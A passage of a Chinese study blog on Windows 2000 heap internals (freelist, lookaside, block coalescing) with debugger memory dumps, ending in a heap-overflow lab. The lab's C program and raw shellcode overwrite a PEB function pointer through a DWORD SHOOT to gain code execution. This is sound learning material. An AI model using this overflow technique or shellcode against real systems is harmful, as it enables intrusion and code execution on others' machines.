.text:00401034 push    0Ah                             ; int
.text:00401036 mov     ecx, eax                        ; this
.text:00401038 call    ??6ostream@@QAEAAV0@E@Z         ; ostream::operator<<(uchar)
.text:0040103D mov     ecx, eax
.text:0040103F call    sub_4010B0
.text:00401044 retn
.text:00401044 sub_401020 endp

虚函数地址修改完毕,shellcode也写入完毕了,此时要调用虚函数了,且看这里的汇编指令是啥样的

.text:00401093 mov     edx, overflow_vtable
.text:00401099 mov     ecx, offset overflow_vtable;设置this指针
.text:0040109E mov     p, ecx;无意义
.text:004010A4 call    dword ptr [edx];解引用,调用虚函数表的第一个函数

单步步入这个call就到了shellcode区域了

.data:0040881C overflow_buf:                           ; DATA XREF: _main+24↑o
.data:0040881C cld
.data:0040881D push    1E380A6Ah
.data:00408822 push    4FD18963h
.data:00408827 push    0C917432h
...

windows堆

堆数据结构

windows的堆由堆块和堆表组成

堆表:一般位于堆区的起始位置,用于索引所有堆块,包括堆块位置,大小,是否空闲

堆块:性能原因,一般分为大小不同的块.每个堆块都分为两部分,块首和块身.其中块首包含了描述本堆块的信息,包括大小,是否空闲等.块身紧跟在块首后面

申请堆空间的函数比如malloc,new等,其返回的地址是块身起始地址

占用的堆块被使用它的程序索引.空闲的堆块被堆表索引

堆表数据结构

空闲双向链表Freelist,空表

快速单向链表Lookaside,快表

Freelist

空闲堆块的块首有两个指针,用于将多个堆块链接成双向链表

堆表区有一个128项的指针数组,空表索引画在图上就长这样

每个空表索引后面拉着一溜全都是一样大小的堆块

空表索引free[n]后面拉着的堆块大小都是$n\times 8\ byte$

特别的是free[0],其中的堆块都是1024以上的,并且按照大小不降拉溜

空表索引就是包含两个指针的结构体,两个指针分别指向拉溜的头和腚.

相当于

struct FreeListIndex{
	FreelistNode * first;
	FreelistNode * last;
}FreeList[128];

意思意思就行了

Lookaside

块表用来加速堆分配,块表是单向链表,不会发生堆块合并

每个lookaside[n]节点,后面最多拉4个节点

后面最多拉4个节点,后面最多拉4个节点,后面最多拉4个节点

堆操作

对操作分为堆块分配,堆块释放,堆块合并

其中分配释放是程序员在程序中规定的,堆块合并由数据结构自己管理

堆块分配

快表分配,普通空表分配,0号空表分配

快表分配

1.找到大小匹配的空闲堆块

2.将该堆块的状态修改为占用

3.从堆表中把他卸下,也就是其前驱指向其后继

4.返回堆块块身首地址给程序指针托管

普通空表分配

寻找能够满足空间要求的最小堆块

零号空表分配

对于希望分配的空间大小x,首先反向搜索最后一个零号堆块,由于零号空表只增不减,最后一个零号堆块是最大的,如果最大的堆块没有x大,则零号空表分配失败

否则从头开始寻找第一个可以容纳x的堆块

空表找零钱现象

如果没有精确匹配希望分配空间大小的堆块,则拿一个大堆块,精确割出需要的空间大小,然后剩下的重新标注块首链接到空表中

快表只有精确匹配时才会分配,不会发生找零钱现象

堆块释放

1.修改堆块状态为空闲

2.堆块重新连入堆表末尾

堆块合并

将两个块从空表卸下,合并堆块,合并块首信息,然后将该堆块重新连入空闲链表

快表中的空闲块都会被设置为占用状态,不参与堆块合并

内存紧缩

堆分配释放算法

下面调试验证上述数据结构和操作

堆调试

书上调试的程序长这样

#include <windows.h>
main()
{
	HLOCAL h1,h2,h3,h4,h5,h6;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	__asm int 3

	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	
	//free block and prevent coaleses
	HeapFree(hp,0,h1); //free to freelist[2] 
	HeapFree(hp,0,h3); //free to freelist[2] 
	HeapFree(hp,0,h5); //free to freelist[4]
	
	HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]

	
	return 0;
}

第七行用int 3指令下断点让程序停下,从这里附加调试器,因为如果直接从头调试运行的话,堆会装孙子,不使用快表

首先要了解一下这几个API的作用

API

HeapCreate

在进程地址空间中创建辅助堆

HANDLE HeapCreate(
  [in] DWORD  flOptions,//堆上的操作类型,包括读写执行等
  [in] SIZE_T dwInitialSize,//开始时分配给堆的字节数
  [in] SIZE_T dwMaximumSize//堆最大的字节数,0则表示无上限
);

返回值是该堆空间的句柄,也就是基地址

1	hp = HeapCreate(0,0x1000,0x10000);

这样用的意思是,没有访问限制,初始时分给0x1000字节的堆空间,最大可以要0x10000字节的堆空间,将该堆空间的句柄交给hp变量保管

HeapAlloc

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  [in] HANDLE hHeap,
  [in] DWORD  dwFlags,
  [in] SIZE_T dwBytes
);

hHeap是堆空间的句柄,可以是HeapCreate或者GetProcessHeap的返回值

其中HeapCreate是我们手动申请的堆空间,GetProcessHeap是进程堆空间,这个在程序运行开始就有了

如果函数调用成功则返回申请空间的基地址

1	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);

这样用的意思是,从刚才HeapCreate创建的堆空间中要一块3字节的空间,该块空间将会被初始化为0

HeapFree

释放HeapAlloc或者HeapReAlloc申请的堆空间

BOOL HeapFree(
  [in] HANDLE                 hHeap,
  [in] DWORD                  dwFlags,
  [in] _Frees_ptr_opt_ LPVOID lpMem
);

1	HeapFree(hp,0,h1);

将h1这一小块还给hp

哪一块是堆?

ollydbg起来实时调试时,程序是停在0x40101D这个地方的

在反汇编视图上INT3发生于调用HeapCreate函数之后

显然此时EAX就存放的HeapCreate的返回值,即hp句柄,也就是申请的堆空间的基地址0x390000,显然是一个用户地址空间的值

在内存界面上它长这样

大小0x1000是我们给CreateHeap指定的初始值

双击该地址到内存视图看看

从0x390000开始,堆表中一次是段表索引,虚表索引,空表使用标识,空表索引区

堆块结构

两者的区别主要在于[8,16)字节,由于占用态的堆块已经从空闲链表中取下,因此不需要再维护前后指针

空闲态堆块尚未填充数据,因此这两个字节分别用于前后指针

当占用态的堆块要归还的时候,这两个字节又得存放指针

调试时,0x390688这里是Flink in freelist的位置,而真正的堆块起始位置应该在往前8个字节,即0x390680位置

一般引用堆块的指针都是会越过8字节的头部

块首属性	值	意义
Self Size	0x130	该尾块的data区大小`0x130*8=0x980`字节注意单位是8字节,并且这0x980是包括堆块头部的
Previous chunk	0x80
Segment	0
Flags	0x10
Unused bytes	0
Tag Index	0

Flink in freelist和Blink in freelist此时都是指向Freelist[0]这个索引项的

左手拉右手,右手拽左手

然后后面全都是0,因为尚未使用

堆块的行为

1.堆块大小包括了块块首,申请32字节,实际分配堆块40字节,前8字节是堆块首.返回的指针指向第9字节(下标8)

2.堆块的单位是8字节,不足八字节的按照八字节分配

3.初始状态下快表和空表都是空,只有一个Freelist[0]后面拉着一个尾块,这个尾块在堆偏移0x688处

4.分配的时候从尾块头上(整个尾块包括尾块首都得换地方)开始切,切走之后要修改尾块块首的Self Size信息,并且将新的尾块data地址交给freelist[0]

调试观察空表

空表索引区Freelist[128]

空表索引区位于偏移0x178处,即0x390178

一个刚初始化的堆,其状态如下

1.只有一个空闲大块,叫做尾块

2.该尾快位于堆偏移0x688处

3.Freelist[0]指向"尾块"

4.除零号空表索引外,其余各项索引指向自己,即没有空闲块

空表索引,即Freelist表,其第0项的偏移就是Freelist表的偏移,0x178+0x390000=0x390178,这个位置长这样

Freelist[0]上只挂着尾块,因此前后指针都是指向尾块的,尾块的地址是0x00390688,即堆偏移0x688的地方

其他的空表索引Freelist[n]的两个指针都是指向自己,整个Freelist数组一共有128项,每项两个4字节指针,共128*4*2=1024=0x400字节,从0x390178到0x390578全都是Freelist

一直持续到0x390578

分配

重新从win2k上用od调试了一下,现在堆基址是0x360000

下面是六次分割

h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

堆句柄	希望请求字节数	实际分配堆块的字节数
h1	3	16
h2	5	16
h3	6	16
h4	8	16
h5	19	32
h6	24	32

分割之前

分割之前的尾块

flags=0x10表示尾块

第一次分割

第一次分割时

ESI作为第一个参数,是CreateHeap返回的堆句柄0x360000

8是要初始化该片空间为0,实际是枚举值HEAP_ZERO_MEMORY

3是希望申请的字节数

edi中放着的是AllocateHeap函数的地址

call edi之后0x360680附近发生了变化

call的返回值放在eax中,此时为0x360688,这意味着h1堆块data地址,这是原来的尾块data

那么h1堆块首就得在0x360680了,这是原来的尾块首

h1堆块首中的数据:

大小0x0002,(单位8字节),即16字节

上一个块的大小0x0008(啥意义呢?)

Flags=01,busy

unused bytes=0x0D,13个字节?

然后h1堆块数据的前四个字节确实置零了,但是后面四个字节依然保持着尾块首留下的指针,因为我们只希望申请3个字节,本来给16个字节其中data占8字节就已经是为了遵守硬性要求,8字节对齐了,前四个字节够用了,后面四个字节不用清零

尾块此时的大小0x12E相比于0x130少了2(单位8字节),正好是h1堆块首和data的大小,尾块的第二个八字节依然是两个指针,指向freelist[0]

此时freelist[0]@0x00360178其上的值也修改了

实时修改为当前尾块data地址

六次分割后

继续调试,直到六次分配完成

00360680  02 00 08 00 00 01 0D 00 00 00 00 00 78 01 36 00  .........x6.//h1
00360690  02 00 02 00 00 01 0B 00 00 00 00 00 00 01 36 00  .........6.//h2,希望5字节于是只有data前5字节初始化为0
003606A0  02 00 02 00 00 01 0A 00 00 00 00 00 00 00 36 00  ...........6.//h3,希望6字节于是只有data前6字节初始化为0
003606B0  02 00 02 00 00 01 08 00 00 00 00 00 00 00 00 00  ............//h4
003606C0  04 00 02 00 00 01 0D 00 00 00 00 00 00 00 00 00  .............//h5
003606D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003606E0  04 00 04 00 00 01 08 00 00 00 00 00 00 00 00 00  ............//h6
003606F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00360700  20 01 04 00 00 10 00 00 78 01 36 00 78 01 36 00   ....x6.x6.//尾块
00360710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00360720  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

此时尾块大小已经减为0x120(单位8字节),其两个指针仍然是指向0x00360178,

freelist[0]@0x00360178的两个指针必然也指向了0x360708

被申请走的堆块,对于系统中的堆来说,算是平白无故就没了,无法通过任何方式索引到拿走的堆块,只有是用户程序归还的时候,系统才可以把堆块重新放到Freelist里面,这时候就不是放到尾块里面了,16字节的块(包括首部)应该放到freelist[2]

释放

释放h1

释放是从h1开始的

HeapFree(hp,0,h1); //free to freelist[2] 
HeapFree(hp,0,h3); //free to freelist[2] 
HeapFree(hp,0,h5); //free to freelist[4]

HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]

esi=0x360000是hp句柄

dwflags=0没有任何标志

ebx是h1句柄,这里貌似有一个编译优化,在h1堆申请完毕之后,h1句柄是放在eax中的,在h2堆申请之前,eax又放到了ebx中,从那到现在ebx中一直都是h1句柄没有改变

调用之后eax=1,表示执行成功

此时的 h1堆块@0x360680发生了变化

释放之前
00360680  02 00 08 00 00 01 0D 00 00 00 00 00 78 01 36 00  .........x6.//h1
释放之后
00360680  02 00 08 00 00 00 0D 00 88 01 36 00 88 01 36 00  ......?6.?6.

其变化为,标志位又回归0,表示空闲,第二个八字节,原来是data的开始现在又变成了两个指针,都指向0x00360188

这是啥位置呢?

Freelist@0x00360178,

Freelist[0]@0x00360178

Freelist[1]@0x00360180

Freelist[2]@0x00360188

即原来的h1所在堆块,现在链接回了Freelist[2]上

有意思的是,8字节的堆块首+8字节的data,已经是占用堆块的最小规格了,最小规格的堆块释放之后才能挂到Freelist[2]上,那么Freelist[1]上应该挂什么呢?

如果根据Freelist[n]指向的堆块大小为8n(包括堆块首和堆块data),那么Freelist[1]指向的堆块应该是8字节的首+0字节的data,这个堆块是个寂寞吧

前三次释放后

前三次释放分别是h1,h3,h5,这是三个不连续的堆块,不会发生合并

//三次释放前
00360680  02 00 08 00 00 01 0D 00 00 00 00 00 78 01 36 00  .........x6.//h1
00360690  02 00 02 00 00 01 0B 00 00 00 00 00 00 01 36 00  .........6.//h2,希望5字节于是只有data前5字节初始化为0
003606A0  02 00 02 00 00 01 0A 00 00 00 00 00 00 00 36 00  ...........6.//h3,希望6字节于是只有data前6字节初始化为0
003606B0  02 00 02 00 00 01 08 00 00 00 00 00 00 00 00 00  ............//h4
003606C0  04 00 02 00 00 01 0D 00 00 00 00 00 00 00 00 00  .............//h5
003606D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003606E0  04 00 04 00 00 01 08 00 00 00 00 00 00 00 00 00  ............//h6
003606F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00360700  20 01 04 00 00 10 00 00 78 01 36 00 78 01 36 00   ....x6.x6.//尾块
00360710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................


//三次释放后
00360680  02 00 08 00 00 00 0D 00 A8 06 36 00 88 01 36 00  ......?6.?6.//h1
00360690  02 00 02 00 00 01 0B 00 00 00 00 00 00 01 36 00  .........6.//h2
003606A0  02 00 02 00 00 00 0A 00 88 01 36 00 88 06 36 00  ......?6.?6.//h3
003606B0  02 00 02 00 00 01 08 00 00 00 00 00 00 00 00 00  ............//h4
003606C0  04 00 02 00 00 00 0D 00 98 01 36 00 98 01 36 00  ......?6.?6.//h5
003606D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
003606E0  04 00 04 00 00 01 08 00 00 00 00 00 00 00 00 00  ............//h6
003606F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00360700  20 01 04 00 00 10 00 00 78 01 36 00 78 01 36 00   ....x6.x6.//尾块
00360710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

三次释放前后h2,h4,h6没有发生任何变化,尾块也没有发生任何变化

三次释放前后发生变化的有h1,h3,h5,发生的变化也是很有规律的,首先是flag从1到0,意思是从占用到空闲

每个堆块的第二个八字节,都变成了两个指针

释放堆块	释放后的前一个指针值	释放后的后一个指针值
h1@00360688	0x003606A8	0x00360188
h3@003606A8	0x00360188	0x00360688
h5@003606C8	0x00360198	0x00360198
Freelist[2]@0x00360188	0x00360688	0x003606A8
Freelist[4]@0x00360198	0x003606C8	0x003606C8

Freelist表也发生了变化

Freelist[0]@0x00360178
Freelist[1]@0x00360180
Freelist[2]@0x00360188
Freelist[3]@0x00360190
Freelist[4]@0x00360198

相当于画在下图中的状态

合并

前面三个释放,都不是连续的堆地址,现在要再释放h4,他和h3,h5是连续的,又会发生什么呢?

1	HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]

h4堆块的大小是16字节(8首部+8data),有可能要和已经释放的h1,h3进行合并

执行后的Freelist

Freelist[0]@00360178  08 07 36 00 08 07 36 00  6.6.
Freelist[1]@00360180  80 01 36 00 80 01 36 00  €6.€6.
Freelist[2]@00360188  88 06 36 00 88 06 36 00  ?6.?6.
Freelist[3]@00360190  90 01 36 00 90 01 36 00  ?6.?6.
Freelist[4]@00360198  98 01 36 00 98 01 36 00  ?6.?6.
Freelist[5]@003601A0  A0 01 36 00 A0 01 36 00  ?6.?6.
Freelist[6]@003601A8  A8 01 36 00 A8 01 36 00  ?6.?6.
Freelist[7]@003601B0  B0 01 36 00 B0 01 36 00  ?6.?6.
Freelist[8]@003601B8  A8 06 36 00 A8 06 36 00  ?6.?6.

从h1,3,5释放完成后到h4释放完成后,发生变化的Freelist记录有

1
2
3

Freelist[2]@0x00360188
Freelist[4]@0x00360198
Freelist[8]@0x003601B8

可以看出Freelist[2]原来后面挂着两个节点h1@00360688,h3@003606A8,现在只剩下一个h1@0x00360688

Freelist[4]原来后面挂着h5@003606C8,现在指向自己了,后面啥也没挂

Freelist[8]后面挂了一个H@0x003606A8

也就是说消失了h3,h5,还有一个h4,恰好他仨是顺序的,是不是Freelist[8]后面挂着的这个就是呢?去0x003606A0看看这个堆块首部

1 2	003606A0 08 00 02 00 00 00 0A 00 ...... 003606A8 B8 01 36 00 B8 01 36 00 ?6.?6.

SelfSize=0x0008(单位8字节),即64字节

Flags=0,空闲状态

前指针Freelist[8]@0x3601B8,

后指针Freelist[8]@0x3601B8

而h3,4都是8+8=16的堆块,h5是8+24=32的堆块,合起来正好是64字节

这证明Freelist[8]上挂着的就是h3,4,5合并起来的堆块

调试观察快表

药引子长这样

#include <stdio.h>
#include <windows.h>
void main()
{
	HLOCAL h1,h2,h3,h4;
	HANDLE hp;
	hp = HeapCreate(0,0,0);
	__asm int 3
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	HeapFree(hp,0,h1);
	HeapFree(hp,0,h2);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h4);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	HeapFree(hp,0,h2);
}

与调试空表时的区别就在HeapCreate函数这里

1 2	hp = HeapCreate(0,0x1000,0x10000);//调试空表时 hp = HeapCreate(0,0,0);//调试快表时

HeapCreate(0,0,0);这样才能启用快表

call HeapCreate

调用HeapCreate之后,返回值堆区句柄eax=0x360000

此时的空表Freelist和之前不一样了,Freelist[0]@0x00360178挂着的尾块在0x00361E90了,原来是在0x360688

从尾块分配

1	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);//希望从hp堆申请8字节空间,初始化为0

这一条执行之后,返回的堆空间句柄eax=0x361E90,到这里看看

0x361E88开始的八个字节是堆块首

selfsize=0x0002(单位8字节),即堆块首加上data共16字节

Flag=0x01,已占用

unused bytes=8,有8字节尚未使用

此时Freelist[0]指向的尾块也发生了变化

Freelist[0]@0x00360178

尾块原来在0x00361E90,现在下移到了0x00361EA0

说明刚才的堆块仍然是从尾块上割出去的

当四条HeapAlloc都执行完成之后

h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);

下面就到了HeapFree了,此时就和之前不同了

但是还给快表

调试空表时,HeapAlloc申请的空间,使用HeapFree之后会归给还到空表,并且相邻的堆块还会进行合并

而本次调试,HeapAlloc申请的空间,将会还给快表

释放h1

第一次释放的时h1@0x361E90

1	HeapFree(hp,0,h1);

到0x361E90看看

self size=0x02,即16字节

flags=0x01,因为快表中的节点都标记为已占用

unused bytes=0x08未使用字节数

再到快表看看

Lookaside[1]@0x3606E8此时其上的指针为0x00361E90,正好就是刚才释放的h1@0x00361E90

释放h2

1	HeapFree(hp,0,h2);

h2和h1一样都是8字节堆首+8字节data,并且两者的地址相邻,释放h2之后会不会发生堆块合并呢?快表没这个能力

执行之后Lookaside[1]@0x3606E8指向h2@0x361EA0了,原来是指向h1@0x00361E90的

这就纳闷了,h1@0x00361E90这个堆块目前被谁索引着呢?找不到它不就内存泄漏了吗

到h2@0x361EA0看看

原来是h2指向了h1

目前快表是这样一个状态

h1的指针占用了h2data的前4个字节,但是没关系,再申请8字节的堆空间的时候,直接从Lookaside[1]拉的链上把最后面一个摘下来,前面的data就不用存最后这个的指针了

四次释放完毕后

将从尾块上割下来的h1,2,3,4都释放了,他们都会挂在lookaside上

画到图上是这样的

从快表分配

四次分配释放完成后,实际上干了一个瓜分尾块到快表的事,下面又要进行分配了

1	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);

16字节,正好Lookaside[2]上面挂着一个h3@361EB0,这个幸运儿又要得到程序的重用了

不出所料,调用HeapAlloc函数,返回之后,eax中的句柄值为0x361EB0

到这里去看看

SelfSize=0x0003(单位8字节),即堆块首8字节+data16字节=24字节

flags=0x01,占用状态

再到Lookaside[2]@0x360718看看

Lookaside[1]@3606E8还有Lookaside [3]@360748都没有发生变化,唯独Lookaside[2]@0x360718一夜回到解放前了

堆溢出

finally,可以搞点事情了

DWORD SHOOT

"双字射击"

构造数据,溢出下一个堆块的块首,改写该堆块中的前向指针flink,后向指针blink,在分配,释放,合并等操作时司机获得一次想内存任意地址写入任意数据的机会

为啥叫做"DWORD SHOOT"呢?

"DWORD"是因为攻击负载是一个双字,后面就看到了

"SHOOT"是因为这种攻击类似于狙击,只有一次机会,不是栈溢出的大水漫灌

如何发生?

考虑我们自己写一个双向的链表ADT时,释放其中一个节点应该怎么写?

struct Node{
	Node *flink;
	Node *blink;
    int data;
}
void delet(Node *node){
    node->blink->flink=node->flink;//后节点的前指针指向当前节点的前节点
    node->flink->blink=node->flink;//前节点的后指针指向当前节点的后节点
}

然后篡改node节点的前后指针

然而这都是猜想,windows开发者怎么写的现在我们不知道,下面调试观察是不是这样

调试分配时DWORD SHOOT

调试程序是这样的

#include <windows.h>
main()
{
	HLOCAL h1, h2,h3,h4,h5,h6;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);//一开始时申请0x1000个字节的堆空间,最大能够申请0x10000个字节
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);//希望申请8个字节,实际上从尾块瓜分16字节空间
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);//连续从尾块上瓜分16*6=96字节空间

	_asm int 3	//used to break the process//在此中断附加调试器
	//free the odd blocks to prevent coalesing
	HeapFree(hp,0,h1); //释放奇数块,避免合并
	HeapFree(hp,0,h3); 
	HeapFree(hp,0,h5); //now freelist[2] got 3 entries//现在空表freelist[2]后面托着3油瓶
    //后来的直接头插法接到freelist[2]后面,后来的先分配
	
	//will allocate from freelist[2] which means unlink the last entry (h5)
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); //再申请8字节,要把刚才释放的h5要回来
		
	return 0;
}

在win2k上,发行版的程序在INT3之后报错,此时附加od进行调试

六次HeapAlloc之后

此时程序刚执行了最后一个HeapAlloc,eax中还保存着句柄h6=0x5206D8

可以推测,堆区在0x520000,在内存映射视图中观察,确实如此

6次HeapAlloc都是瓜分的尾块

尾块现在的位置应该是位于h6的下面

h6块首@0x5206D0

h6data@0x5206D8

确实如此,尾块@0x526E8,两个指针都是指向Freelist[0]@0x520178

尾块首@0x5206E0.

h1,3,5释放之后

Freelist[0]@00520178  E8 06 52 00 E8 06 52 00  ?R.?R.
Freelist[1]@00520180  80 01 52 00 80 01 52 00  €R.€R.
Freelist[2]@00520188  88 06 52 00 C8 06 52 00  ?R.?R.
Freelist[3]@00520190  90 01 52 00 90 01 52 00  ?R.?R.
Freelist[4]@00520198  98 01 52 00 98 01 52 00  ?R.?R.
Freelist[5]@005201A0  A0 01 52 00 A0 01 52 00  ?R.?R.

其中Freelist[0]两个指针都指向尾块,

Freelist[2].flink=h1@0x00520688

Freelist[2].blink=h5@0x005206C8

在图上就是这么一个状态

篡改h5的两个指针

下一次分配h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);将会把刚才释放的h5@0x005206C8再要回去,

在要回去之前要修改h3还有Freelist[2]的指针

在该次分配前,将h5的两个指针先改掉

修改之后

然后单步步过执行该分配函数,

此时控制跳转到0x77CCAAD位置,这应该是在HeapAlloc库函数或者其调用函数中了

尝试将ecx中的数据写到内存上ds:[EDX],ds即程序数据段选择子,此时ECX和EDX就是我们赋的两个值

ollydbg已经报错

利用DWORD SHOOT

利用点:

内存变量

代码逻辑

返回地址

异常处理机制

函数指针

PEB线程同步函数入口地址

书上的实验选定受害者是RtlEnterCriticalSection函数指针

该函数的作用是同步一个进程的不同线程,RtlEnterCriticalSection和RtlCriticalSection函数是访问临界区时需要调用的,保证线程对临界区的访问互斥

进程退出时,ExitProcess函数会调用这两个临界区函数,但是调用方式是函数指针

这两个函数指针在PEB+0x20处

RtlEnterCriticalSection@0x7FFDF020

RtlLeaveCriticalSection@0x7FFDF024

利用程序

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x4C\xAA\xF8\x77"  //MOV EBX,77F82060h the address here may releated to your OS
"\x89\x18"				//MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
//0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug 
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last


main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	__asm int 3 //used to break the process
	//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
	memcpy(h1,shellcode,0x200); //overflow,0x200=512
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	return 0;
}

h1向hp堆申请了200字节的空间,但是memcpy中却允许往里放0x200=512字节

而h1后面紧跟着的就是尾块,如果往h1上写入多余200个字节,就把尾块溢出了

将尾块的首部的指向Freelist[0]的两个指针溢出修改,再发生分配的时候就DWORD SHOOT了

可以将PEB中的RtlEnterCriticalSection@0x7FFDF020这个指针修改为shellcode

DWORDSHOOT之后堆异常,程序会调用ExitProcess结束进程

ExitProcess会调用0x7FFDF020处的函数指针,但是这个指针已经被溢出成shellcode了,于是shellcode就执行了

调试观察

int 3中断时,刚执行完h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);

eax=0x360688,即h1句柄,h1堆的大小200=0xC8字节,data占据了[0x360688,0x0x360750)

那么尾块的首部就得在0x360750

0x758开始的八个字节是尾块的两个指向Freelist[0]的指针

然后是将shellcode拷贝到h1

00401026   B9 80000000      MOV ECX,80;重复拷贝次数,0x80次
0040102B   BE 30604000      MOV ESI,heap_PEB.00406030;shellcode作为源地址
00401030   8BF8             MOV EDI,EAX;h1->eax->edi作为目的地址
00401037   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI];每次从ESI指向的内存上拿出一个双字拷贝到edi指向的内存上

如此总共拷贝了0x80*4=512字节,显然要溢出尾块了.

拷贝完成后再看尾块

尾块的flink已经溢出修改为0x360688,这是shellcode的起始地址

尾块的blink已经溢出修改成0x7F7D7020,这是PEB中线程同步函数指针的地址

尾块首的前8字节溢出值仍然是合法的首部值,这是为了防止程序在DWORD SHOOT前寄掉,他真的,我哭死

shellcode

shellcode有两个系统相关的数值,一个是NTDLL.DLL中RtlEnterCriticalSection这个函数的地址,这个可以使用dependency walker查

另一个是shellcode将会被加载进入进程虚拟地址空间的哪里,这个可以先调试观察一次,然后修改shellcode

使用内联汇编加载器加载shellcode,观察这段代码干了啥

修复PEB临界区控制函数

由于shellcode执行之后,还需要调用RtlEnterCriticalSection这个函数指针,但是之前为了能够让shellcode执行,已经把这个函数指针改成了shellcode的地址,也就是说shellcode执行之后所有对RtlEnterCriticalSection函数的调用会重新执行shellcode,进行不下去了,这样弹不出窗口来,需要在shellcode起来之后,首先把RtlEnterCriticalSection的值改回去

1
2
3

00424B08   mov         eax,7FFDF020h	;程序PEB中线程同步函数的地址 RtlEnterCriticalSection函数指针的位置.放到eax中
00424B0D   mov         ebx,77F82060h	;NTDLL.DLL库中RtlEnterCriticalSection的地址,放到ebx中
00424B12   mov         dword ptr [eax],ebx;将ebx值赋值到eax指向的内存地址,也就是把NTDLL.DLL中,RtlEnterCriticalSection函数地址放到了PEB中的函数指针上

三层循环解析函数地址,弹窗

剩下的shellcode之前已经分析过了

bindshell逆向分析

Posted on 2022-09-18

Bind_shell

哈希算法设计

